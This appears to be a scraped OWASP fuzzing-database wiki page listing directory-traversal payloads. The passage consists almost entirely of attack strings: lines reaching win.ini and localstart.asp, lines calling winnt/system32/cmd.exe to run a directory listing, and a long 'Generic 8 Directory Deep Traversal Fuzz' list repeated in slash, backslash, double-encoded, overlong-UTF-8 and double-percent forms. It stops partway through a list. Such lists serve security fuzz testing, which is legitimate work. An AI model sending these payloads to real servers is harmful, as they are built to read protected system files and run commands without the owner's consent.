# released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (77 March 2010) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (7 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> ..%%32%66{FILE}<br /> ..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> ..%%35%63{FILE}<br /> ..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> 